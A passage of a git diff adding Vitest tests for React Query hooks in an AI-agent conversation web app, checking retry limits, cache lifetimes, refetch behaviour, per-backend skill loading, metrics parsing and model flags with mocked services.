+    // default), so the error only settles after one ~1s retry delay.
+    await waitFor(
+      () => {
+        expect(result.current.error).toBeInstanceOf(Error);
+      },
+      { timeout: 5000 },
+    );
+
+    expect((result.current.error as Error).message).toBe(
+      "Invalid conversation history response: expected page.items to be an array.",
+    );
+  });
+
+  it("retries a failed initial load exactly once before surfacing the error", async () => {
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const searchEventsSpy = vi
+      .spyOn(EventService, "searchEvents")
+      .mockRejectedValue(new Error("network down"));
+
+    const { result } = renderHook(() => useConversationHistory("conv-retry"), {
+      wrapper,
+    });
+
+    await waitFor(
+      () => {
+        expect(result.current.isError).toBe(true);
+      },
+      { timeout: 5000 },
+    );
+
+    // Exactly one retry: enough to absorb a transient blip, but a bad first
+    // load can't hold the WebSocket gate closed for a long retry chain.
+    expect(searchEventsSpy).toHaveBeenCalledTimes(2);
+  });
+
+  it("does not refetch when the browser comes back online", async () => {
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const searchEventsSpy = vi
+      .spyOn(EventService, "searchEvents")
+      .mockResolvedValue(makePage([makeEvent()]));
+
+    const { result } = renderHook(
+      () => useConversationHistory("conv-online-flap"),
+      { wrapper },
+    );
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    // Act: an online/offline flap, as flaky links produce continuously. The
+    // events missed while offline arrive over the WebSocket `since` replay,
+    // so the query must not refetch (each refetch used to drop the socket).
+    await act(async () => {
+      onlineManager.setOnline(false);
+      onlineManager.setOnline(true);
+      await new Promise((resolve) => {
+        setTimeout(resolve, 150);
+      });
+    });
+
+    expect(searchEventsSpy).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("useConversationHistory cache key stability", () => {
+  let localQueryClient: QueryClient;
+  let localWrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    localQueryClient = new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+      },
+    });
+    localWrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: localQueryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    localQueryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("does not refetch when conversation object changes but version stays the same", async () => {
+    const v1Spy = vi.spyOn(EventService, "searchEvents");
+    v1Spy.mockResolvedValue(makePage([makeEvent()]));
+
+    const conv1 = makeConversation("V1");
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: conv1,
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const { result, rerender } = renderHook(
+      () => useConversationHistory("conv-stable"),
+      { wrapper: localWrapper },
+    );
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    expect(v1Spy).toHaveBeenCalledTimes(1);
+
+    // Simulate background polling: new object reference with different mutable fields
+    // but the SAME conversation_version
+    const conv2: Conversation = {
+      ...conv1,
+      last_updated_at: "2099-01-01T00:00:00Z",
+      status: "STOPPED",
+      runtime_status: "STATUS$STOPPED",
+    };
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: conv2,
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    rerender();
+
+    // Allow any potential async refetch to trigger
+    await new Promise((r) => {
+      setTimeout(r, 50);
+    });
+
+    // Must NOT refetch — version hasn't changed, only mutable fields did
+    expect(v1Spy).toHaveBeenCalledTimes(1);
+
+    // Note: The behavior of always using V1 API regardless of conversation_version
+    // means the "version change triggers refetch" test is no longer applicable.
+    // The hook now consistently uses searchEvents for all conversations.
+  });
+
+  it("refetches the tail on remount (returning to a conversation) so events produced while away load in one batched page", async () => {
+    const v1Spy = vi.spyOn(EventService, "searchEvents");
+    v1Spy.mockResolvedValue(makePage([makeEvent()]));
+
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const { unmount } = renderHook(
+      () => useConversationHistory("conv-remount"),
+      { wrapper: localWrapper },
+    );
+    await waitFor(() => expect(v1Spy).toHaveBeenCalledTimes(1));
+
+    // Leaving keeps the page cached (gcTime), so returning renders instantly —
+    // but it MUST refetch the tail so events the agent produced while we were
+    // away (e.g. an active /goal loop emitting turns on another conversation)
+    // arrive in this one batched REST page instead of being back-filled one at
+    // a time over the WebSocket `since` replay.
+    unmount();
+    renderHook(() => useConversationHistory("conv-remount"), {
+      wrapper: localWrapper,
+    });
+    await waitFor(() => expect(v1Spy).toHaveBeenCalledTimes(2));
+  });
+
+  it("keeps the page cached (no window-focus refetch) so the gated WebSocket doesn't churn", async () => {
+    const v1Spy = vi.spyOn(EventService, "searchEvents");
+    v1Spy.mockResolvedValue(makePage([makeEvent()]));
+
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const { result } = renderHook(
+      () => useConversationHistory("conv-focus-check"),
+      { wrapper: localWrapper },
+    );
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    const queries = localQueryClient.getQueryCache().findAll({
+      queryKey: ["conversation-history", "conv-focus-check"],
+    });
+    expect(queries).toHaveLength(1);
+    const options = queries[0].options as Record<string, unknown>;
+    // Cached data renders instantly on return (gcTime), the tail refetches on
+    // mount, and window focus is a no-op — the socket connection is gated on
+    // this query settling, so a focus refetch would drop and reconnect it.
+    expect(options.gcTime).toBeGreaterThanOrEqual(30 * 60 * 1000);
+    expect(options.refetchOnMount).toBe("always");
+    expect(options.refetchOnWindowFocus).toBe(false);
+  });
+
+  it("has gcTime of at least 30 minutes for navigation resilience", async () => {
+    const v1Spy = vi.spyOn(EventService, "searchEvents");
+    v1Spy.mockResolvedValue(makePage([makeEvent()]));
+
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const { result } = renderHook(
+      () => useConversationHistory("conv-gc-check"),
+      { wrapper: localWrapper },
+    );
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    const queries = localQueryClient.getQueryCache().findAll({
+      queryKey: ["conversation-history", "conv-gc-check"],
+    });
+    expect(queries).toHaveLength(1);
+    expect(queries[0].options.gcTime).toBeGreaterThanOrEqual(30 * 60 * 1000);
+  });
+});
diff --git a/__tests__/hooks/query/use-conversation-hooks.test.tsx b/__tests__/hooks/query/use-conversation-hooks.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6b21eab897d95889bccd1aaf1388caa079ef0b6c
--- /dev/null
+++ b/__tests__/hooks/query/use-conversation-hooks.test.tsx
@@ -0,0 +1,218 @@
+import type { ReactNode } from "react";
+import {
+  QueryClient,
+  QueryClientProvider,
+  type Query,
+} from "@tanstack/react-query";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { HookEvent } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { useConversationHooks } from "#/hooks/query/use-conversation-hooks";
+import { AgentState } from "#/types/agent-state";
+
+const { mockUseAgentState, mockUseConversationId } = vi.hoisted(() => ({
+  mockUseAgentState: vi.fn(),
+  mockUseConversationId: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: mockUseAgentState,
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: mockUseConversationId,
+}));
+
+interface RenderOptions {
+  conversationId?: string | null;
+  agentState?: AgentState;
+}
+
+function renderConversationHooks(options: RenderOptions = {}) {
+  const conversationId = Object.hasOwn(options, "conversationId")
+    ? options.conversationId
+    : "conversation-123";
+  const agentState = options.agentState ?? AgentState.RUNNING;
+  mockUseConversationId.mockReturnValue({ conversationId });
+  mockUseAgentState.mockReturnValue({ curAgentState: agentState });
+
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const wrapper = ({ children }: { children: ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+
+  return {
+    ...renderHook(() => useConversationHooks(), { wrapper }),
+    queryClient,
+  };
+}
+
+function getHooksQuery(
+  queryClient: QueryClient,
+  conversationId: string | null | undefined,
+): Query {
+  const query = queryClient.getQueryCache().find({
+    queryKey: ["conversation", conversationId, "hooks"],
+    exact: true,
+  });
+  expect(query).toBeDefined();
+  return query!;
+}
+
+function getHooksQueryOptions(
+  queryClient: QueryClient,
+  conversationId: string | null | undefined,
+): Record<string, unknown> {
+  return getHooksQuery(queryClient, conversationId).options as Record<
+    string,
+    unknown
+  >;
+}
+
+afterEach(() => {
+  vi.restoreAllMocks();
+  vi.clearAllMocks();
+});
+
+describe("useConversationHooks", () => {
+  it.each([undefined, null, ""])(
+    "does not request hooks without a conversation ID (%j)",
+    (conversationId) => {
+      const getHooksSpy = vi.spyOn(AgentServerConversationService, "getHooks");
+
+      const { result, queryClient } = renderConversationHooks({
+        conversationId,
+      });
+
+      expect(result.current.fetchStatus).toBe("idle");
+      expect(result.current.data).toBeUndefined();
+      expect(getHooksSpy).not.toHaveBeenCalled();
+      expect(getHooksQueryOptions(queryClient, conversationId).enabled).toBe(
+        false,
+      );
+    },
+  );
+
+  it("returns a descriptive error when a missing-ID query is explicitly refreshed", async () => {
+    const getHooksSpy = vi.spyOn(AgentServerConversationService, "getHooks");
+    const { result } = renderConversationHooks({ conversationId: undefined });
+
+    const refetchResult = await act(() => result.current.refetch());
+
+    expect(refetchResult.error).toBeInstanceOf(Error);
+    expect((refetchResult.error as Error).message).toBe(
+      "No conversation ID provided",
+    );
+    expect(getHooksSpy).not.toHaveBeenCalled();
+  });
+
+  it.each([AgentState.LOADING, AgentState.INIT])(
+    "keeps the query disabled while the agent is %s",
+    (agentState) => {
+      const getHooksSpy = vi.spyOn(AgentServerConversationService, "getHooks");
+      const { result, queryClient } = renderConversationHooks({ agentState });
+
+      expect(result.current.fetchStatus).toBe("idle");
+      expect(getHooksSpy).not.toHaveBeenCalled();
+      expect(
+        getHooksQueryOptions(queryClient, "conversation-123").enabled,
+      ).toBe(false);
+    },
+  );
+
+  it.each([
+    AgentState.RUNNING,
+    AgentState.AWAITING_USER_INPUT,
+    AgentState.PAUSED,
+    AgentState.STOPPED,
+    AgentState.FINISHED,
+    AgentState.REJECTED,
+    AgentState.ERROR,
+    AgentState.RATE_LIMITED,
+    AgentState.AWAITING_USER_CONFIRMATION,
+    AgentState.USER_CONFIRMED,
+    AgentState.USER_REJECTED,
+  ])("requests hooks while the agent is %s", async (agentState) => {
+    const getHooksSpy = vi
+      .spyOn(AgentServerConversationService, "getHooks")
+      .mockResolvedValue({ hooks: [] });
+
+    const { result, queryClient } = renderConversationHooks({ agentState });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getHooksSpy).toHaveBeenCalledOnce();
+    expect(getHooksSpy).toHaveBeenCalledWith("conversation-123");
+    expect(getHooksQueryOptions(queryClient, "conversation-123").enabled).toBe(
+      true,
+    );
+  });
+
+  it("forwards the service's hooks array as query data", async () => {
+    const hooks: HookEvent[] = [
+      {
+        event_type: "pre_tool_use",
+        matchers: [
+          {
+            matcher: "Bash",
+            hooks: [
+              {
+                type: "command",
+                command: "npm test",
+                timeout: 30,
+                async: false,
+              },
+            ],
+          },
+        ],
+      },
+    ];
+    vi.spyOn(AgentServerConversationService, "getHooks").mockResolvedValue({
+      hooks,
+    });
+
+    const { result } = renderConversationHooks({
+      conversationId: "conversation-with-hooks",
+    });
+
+    await waitFor(() => expect(result.current.data).toBe(hooks));
+  });
+
+  it("forwards service errors through the query result", async () => {
+    const serviceError = new Error("hooks endpoint unavailable");
+    vi.spyOn(AgentServerConversationService, "getHooks").mockRejectedValue(
+      serviceError,
+    );
+
+    const { result } = renderConversationHooks({
+      conversationId: "conversation-error",
+    });
+
+    await waitFor(() => expect(result.current.error).toBe(serviceError));
+    expect(result.current.data).toBeUndefined();
+  });
+
+  it("uses conversation-scoped cache coordinates and documented cache lifetimes", async () => {
+    vi.spyOn(AgentServerConversationService, "getHooks").mockResolvedValue({
+      hooks: [],
+    });
+    const { result, queryClient } = renderConversationHooks({
+      conversationId: "conversation-options",
+      agentState: AgentState.AWAITING_USER_INPUT,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    const query = getHooksQuery(queryClient, "conversation-options");
+    expect(query.queryKey).toEqual([
+      "conversation",
+      "conversation-options",
+      "hooks",
+    ]);
+    const options = getHooksQueryOptions(queryClient, "conversation-options");
+    expect(options.staleTime).toBe(5 * 60 * 1000);
+    expect(options.gcTime).toBe(15 * 60 * 1000);
+  });
+});
diff --git a/__tests__/hooks/query/use-conversation-metrics.test.tsx b/__tests__/hooks/query/use-conversation-metrics.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44cab91f80699f210ea01d0eccaddec94f3a5695
--- /dev/null
+++ b/__tests__/hooks/query/use-conversation-metrics.test.tsx
@@ -0,0 +1,181 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { useConversationMetrics } from "#/hooks/query/use-conversation-metrics";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+const runtimeInfo = {
+  id: "conv-abc",
+  title: "Test",
+  metrics: null,
+  created_at: "2026-04-16T00:00:00Z",
+  updated_at: "2026-04-16T00:00:00Z",
+  status: ExecutionStatus.IDLE,
+  stats: {
+    usage_to_metrics: {
+      agent: {
+        model_name: "test-model",
+        accumulated_cost: 2.5,
+        max_budget_per_task: null,
+        accumulated_token_usage: null,
+        costs: [],
+        response_latencies: [],
+        token_usages: [],
+      },
+    },
+  },
+};
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={client}>{children}</QueryClientProvider>
+  );
+}
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("useConversationMetrics", () => {
+  it("fires the query on cloud backends, fetching directly from the runtime URL", async () => {
+    // Arrange — the runtime REST fetch must work on cloud backends.
+    // getRuntimeConversation now fetches directly from the runtime
+    // sandbox URL (conversationUrl) instead of tunneling through the
+    // removed /api/cloud-proxy endpoint.
+    const spy = vi
+      .spyOn(AgentServerConversationService, "getRuntimeConversation")
+      .mockResolvedValue(runtimeInfo);
+
+    // Act
+    const { result } = renderHook(
+      () =>
+        useConversationMetrics(
+          "conv-abc",
+          "https://runtime-abc.prod-runtime.all-hands.dev/api/conversations/conv-abc",
+          "session-key",
+          true,
+        ),
+      { wrapper: makeWrapper() },
+    );
+
+    // Assert — the query fires and resolves to the runtime data.
+    await waitFor(() => {
+      expect(result.current.data?.accumulated_cost).toBe(2.5);
+    });
+    expect(spy).toHaveBeenCalledWith(
+      "conv-abc",
+      "https://runtime-abc.prod-runtime.all-hands.dev/api/conversations/conv-abc",
+      "session-key",
+    );
+  });
+
+  it("fires the query when sessionApiKey is null (local backends without auth)", async () => {
+    // Arrange
+    const spy = vi
+      .spyOn(AgentServerConversationService, "getRuntimeConversation")
+      .mockResolvedValue(runtimeInfo);
+
+    // Act
+    const { result } = renderHook(
+      () =>
+        useConversationMetrics(
+          "conv-abc",
+          "http://localhost:8888/api/conversations/conv-abc",
+          null,
+          true,
+        ),
+      { wrapper: makeWrapper() },
+    );
+
+    // Assert
+    await waitFor(() => {
+      expect(result.current.data?.accumulated_cost).toBe(2.5);
+    });
+    expect(spy).toHaveBeenCalledWith(
+      "conv-abc",
+      "http://localhost:8888/api/conversations/conv-abc",
+      null,
+    );
+  });
+
+  it("preserves an active LLM's per_turn_token when combined with a dormant condenser entry", async () => {
+    // Arrange
+    const multiLlmRuntimeInfo = {
+      id: "conv-multi",
+      title: "Test",
+      metrics: null,
+      created_at: "2026-04-16T00:00:00Z",
+      updated_at: "2026-04-16T00:00:00Z",
+      status: ExecutionStatus.IDLE,
+      stats: {
+        usage_to_metrics: {
+          agent: {
+            model_name: "test-model",
+            accumulated_cost: 0.07,
+            max_budget_per_task: null,
+            accumulated_token_usage: {
+              prompt_tokens: 37802,
+              completion_tokens: 1024,
+              cache_read_tokens: 24686,
+              cache_write_tokens: 12764,
+              context_window: 1_000_000,
+              per_turn_token: 38826,
+            },
+            costs: [],
+            response_latencies: [],
+            token_usages: [],
+          },
+          condenser: {
+            model_name: "test-model",
+            accumulated_cost: 0,
+            max_budget_per_task: null,
+            accumulated_token_usage: {
+              prompt_tokens: 0,
+              completion_tokens: 0,
+              cache_read_tokens: 0,
+              cache_write_tokens: 0,
+              context_window: 0,
+              per_turn_token: 0,
+            },
+            costs: [],
+            response_latencies: [],
+            token_usages: [],
+          },
+        },
+      },
+    };
+    vi.spyOn(
+      AgentServerConversationService,
+      "getRuntimeConversation",
+    ).mockResolvedValue(multiLlmRuntimeInfo);
+
+    // Act
+    const { result } = renderHook(
+      () =>
+        useConversationMetrics(
+          "conv-multi",
+          "http://localhost:8888/api/conversations/conv-multi",
+          null,
+          true,
+        ),
+      { wrapper: makeWrapper() },
+    );
+
+    // Assert
+    await waitFor(() => {
+      expect(result.current.data?.accumulated_token_usage?.per_turn_token).toBe(
+        38826,
+      );
+    });
+  });
+});
diff --git a/__tests__/hooks/query/use-conversation-skills.test.tsx b/__tests__/hooks/query/use-conversation-skills.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..39ceb31c5ab418fda959303fe7568b3ae8a8c0bd
--- /dev/null
+++ b/__tests__/hooks/query/use-conversation-skills.test.tsx
@@ -0,0 +1,199 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import SkillsService from "#/api/skills-service";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { NavigationProvider } from "#/context/navigation-context";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useConversationSkills } from "#/hooks/query/use-conversation-skills";
+import type { SkillInfo } from "#/types/settings";
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const CONVERSATION_ID = "conv-1";
+const WORKSPACE = "/workspace/project/demo";
+
+function makeConversation(
+  overrides: Partial<AppConversation> = {},
+): AppConversation {
+  return {
+    id: CONVERSATION_ID,
+    created_by_user_id: null,
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: null,
+    title: "Test",
+    trigger: null,
+    pr_number: [],
+    llm_model: null,
+    metrics: null,
+    created_at: "2024-01-01T00:00:00Z",
+    updated_at: "2024-01-01T00:00:00Z",
+    execution_status: null,
+    sandbox_status: "RUNNING",
+    conversation_url: "https://sandbox.example.com/api",
+    session_api_key: null,
+    sandbox_id: null,
+    sub_conversation_ids: [],
+    selected_workspace: WORKSPACE,
+    ...overrides,
+  };
+}
+
+function makeSkill(name: string): SkillInfo {
+  return {
+    name,
+    type: "agentskills",
+    source: null,
+    content: `# ${name}`,
+    triggers: [],
+  };
+}
+
+function makeWrapper(conversationId: string | null) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>
+          <NavigationProvider
+            value={{
+              currentPath: "/",
+              conversationId,
+              isNavigating: false,
+              navigate: vi.fn(),
+            }}
+          >
+            {children}
+          </NavigationProvider>
+        </ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  }
+  return { wrapper: Wrapper, queryClient };
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([localBackend, cloudBackend]);
+  // Mock the services the hook depends on, not the hooks themselves.
+  vi.spyOn(
+    AgentServerConversationService,
+    "batchGetAppConversations",
+  ).mockResolvedValue([makeConversation()]);
+  vi.spyOn(SkillsService, "getConversationSkills").mockResolvedValue([
+    makeSkill("release-notes"),
+  ]);
+  vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+    makeSkill("catalog-only"),
+  ]);
+});
+
+afterEach(() => {
+  vi.restoreAllMocks();
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("useConversationSkills", () => {
+  it("lists the conversation's own skills on a cloud backend once its sandbox runs", async () => {
+    // Arrange
+    setActiveSelection({ backendId: cloudBackend.id });
+    const { wrapper } = makeWrapper(CONVERSATION_ID);
+
+    // Act
+    const { result } = renderHook(() => useConversationSkills(), { wrapper });
+
+    // Assert
+    await waitFor(() =>
+      expect(result.current.data).toEqual([makeSkill("release-notes")]),
+    );
+    expect(SkillsService.getConversationSkills).toHaveBeenCalledWith(
+      CONVERSATION_ID,
+    );
+    expect(SkillsService.getSkills).not.toHaveBeenCalled();
+  });
+
+  it("does not request skills for a cloud conversation whose sandbox is not running yet", async () => {
+    // Arrange
+    setActiveSelection({ backendId: cloudBackend.id });
+    vi.mocked(
+      AgentServerConversationService.batchGetAppConversations,
+    ).mockResolvedValue([makeConversation({ sandbox_status: "STARTING" })]);
+    const { wrapper, queryClient } = makeWrapper(CONVERSATION_ID);
+
+    // Act
+    const { result } = renderHook(() => useConversationSkills(), { wrapper });
+
+    // Assert — even once the conversation itself has loaded.
+    await waitFor(() => {
+      const [entry] = queryClient.getQueriesData<AppConversation | null>({
+        queryKey: ["user", "conversation"],
+      });
+      expect(entry?.[1]?.sandbox_status).toBe("STARTING");
+    });
+    expect(result.current.fetchStatus).toBe("idle");
+    expect(result.current.data).toBeUndefined();
+    expect(SkillsService.getConversationSkills).not.toHaveBeenCalled();
+    expect(SkillsService.getSkills).not.toHaveBeenCalled();
+  });
+
+  it("keeps the workspace-scoped catalog on a local backend", async () => {
+    // Arrange
+    setActiveSelection({ backendId: localBackend.id });
+    const { wrapper } = makeWrapper(CONVERSATION_ID);
+
+    // Act
+    const { result } = renderHook(() => useConversationSkills(), { wrapper });
+
+    // Assert
+    await waitFor(() =>
+      expect(SkillsService.getSkills).toHaveBeenCalledWith(WORKSPACE),
+    );
+    await waitFor(() =>
+      expect(result.current.data).toEqual([makeSkill("catalog-only")]),
+    );
+    expect(SkillsService.getConversationSkills).not.toHaveBeenCalled();
+  });
+
+  it("falls back to the global catalog on a cloud backend without a conversation route", async () => {
+    // Arrange
+    setActiveSelection({ backendId: cloudBackend.id });
+    const { wrapper } = makeWrapper(null);
+
+    // Act
+    const { result } = renderHook(() => useConversationSkills(), { wrapper });
+
+    // Assert
+    await waitFor(() =>
+      expect(result.current.data).toEqual([makeSkill("catalog-only")]),
+    );
+    expect(SkillsService.getSkills).toHaveBeenCalledWith(undefined);
+    expect(SkillsService.getConversationSkills).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/query/use-free-models.test.tsx b/__tests__/hooks/query/use-free-models.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..48b4c33ff3ff784226c8ac377f6eef134aaedb5e
--- /dev/null
+++ b/__tests__/hooks/query/use-free-models.test.tsx
@@ -0,0 +1,102 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import {
+  useDefaultModel,
+  useFreeModels,
+  useHydrateFreeModels,
+} from "#/hooks/query/use-free-models";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+
+vi.mock("#/api/cloud/proxy", () => ({
+  callCloudProxy: vi.fn(),
+}));
+
+const cloudBackend: Backend = {
+  id: "cloud-ohe",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "cloud-key",
+  kind: "cloud",
+};
+
+const wrapper = ({ children }: { children: React.ReactNode }) => {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>;
+};
+
+function useHydratedFreeModelState() {
+  useHydrateFreeModels();
+  return {
+    freeModels: useFreeModels(),
+    defaultModel: useDefaultModel(),
+  };
+}
+
+describe("useHydrateFreeModels", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  it("fetches OpenHands model flags with the backend-compatible page limit", async () => {
+    vi.mocked(callCloudProxy).mockImplementation((async (req: {
+      path: string;
+      method: string;
+    }) => {
+      expect(req.method).toBe("GET");
+      expect(req.path).toMatch(/^\/api\/v1\/config\/models\/search/);
+      const url = new URL(`http://x.example.com${req.path}`);
+      expect(url.searchParams.get("provider__eq")).toBe("openhands");
+      expect(url.searchParams.get("limit")).toBe("100");
+      return {
+        items: [
+          {
+            provider: "openhands",
+            name: "glm-5.2",
+            verified: true,
+            free: true,
+            default: true,
+          },
+        ],
+        next_page_id: null,
+      };
+    }) as never);
+
+    const { result } = renderHook(() => useHydratedFreeModelState(), {
+      wrapper,
+    });
+
+    await waitFor(() =>
+      expect(result.current.freeModels.has("openhands/glm-5.2")).toBe(true),
+    );
+    expect(result.current.defaultModel).toBe("openhands/glm-5.2");
+  });
+});
diff --git a/__tests__/hooks/query/use-git-repositories.test.ts b/__tests__/hooks/query/use-git-repositories.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..cf7fd77b21be95dde47d44ef67360d4499f719b0
--- /dev/null
+++ b/__tests__/hooks/query/use-git-repositories.test.ts
@@ -0,0 +1,286 @@
+import { act, renderHook } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import GitService from "#/api/git-service/git-service.api";
+import { useGitRepositories } from "#/hooks/query/use-git-repositories";
+import type { RepositoryPage } from "#/types/git";
+
+interface CapturedQueryConfig {
+  queryKey: unknown[];
+  queryFn(context: { pageParam: unknown }): Promise<RepositoryPage>;
+  getNextPageParam(
+    lastPage: RepositoryPage,
+    allPages: RepositoryPage[],
+    lastPageParam: unknown,
+  ): unknown;
+  initialPageParam: unknown;
+  enabled: boolean;
+  staleTime: number;
+  gcTime: number;
+  refetchOnWindowFocus: boolean;
+}
+
+const mocks = vi.hoisted(() => ({
+  providers: undefined as string[] | undefined,
+  installations: undefined as string[] | undefined,
+  backend: { id: "local", kind: "local" as "local" | "cloud" },
+  orgId: null as string | null,
+  queryConfig: null as CapturedQueryConfig | null,
+  repos: {
+    data: undefined as unknown,
+    isLoading: false,
+    isError: false,
+    hasNextPage: false,
+    isFetchingNextPage: false,
+    fetchNextPage: vi.fn(),
+  },
+}));
+
+vi.mock("@tanstack/react-query", () => ({
+  useInfiniteQuery: (config: CapturedQueryConfig) => {
+    mocks.queryConfig = config;
+    return mocks.repos;
+  },
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({ providers: mocks.providers }),
+}));
+
+vi.mock("#/hooks/query/use-app-installations", () => ({
+  useAppInstallations: () => ({
+    data:
+      mocks.installations === undefined
+        ? undefined
+        : { items: mocks.installations, next_page_id: null },
+  }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: mocks.backend,
+    orgId: mocks.orgId,
+  }),
+}));
+
+function config(): CapturedQueryConfig {
+  if (!mocks.queryConfig) throw new Error("query config was not captured");
+  return mocks.queryConfig;
+}
+
+const emptyPage = (nextPageId: string | null = null): RepositoryPage => ({
+  items: [],
+  next_page_id: nextPageId,
+});
+
+describe("useGitRepositories", () => {
+  const setupMocks = () => {
+    if (vi.isMockFunction(GitService.retrieveUserGitRepositories)) {
+      vi.mocked(GitService.retrieveUserGitRepositories).mockRestore();
+    }
+    if (vi.isMockFunction(GitService.retrieveInstallationRepositories)) {
+      vi.mocked(GitService.retrieveInstallationRepositories).mockRestore();
+    }
